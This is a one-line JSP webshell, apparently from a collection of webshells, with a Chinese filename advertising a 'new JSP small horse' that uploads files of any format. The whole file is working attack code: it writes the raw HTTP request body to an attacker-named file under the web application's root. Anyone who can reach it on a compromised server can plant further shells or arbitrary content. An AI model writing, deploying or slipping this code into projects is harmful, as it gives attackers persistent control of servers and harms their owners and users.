webshell/jsp/新型JSP小马支持上传任意格式文件.jsp
2014-03-12 09:45:11 +08:00

1 line
No EOL
306 B
Text

<%@page import="java.io.*"%><%if(request.getParameter("f")!=null){FileOutputStream os=new FileOutputStream(application.getRealPath("/")+request.getParameter("f"));InputStream is=request.getInputStream();byte[] b=new byte[512];int n;while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();}%>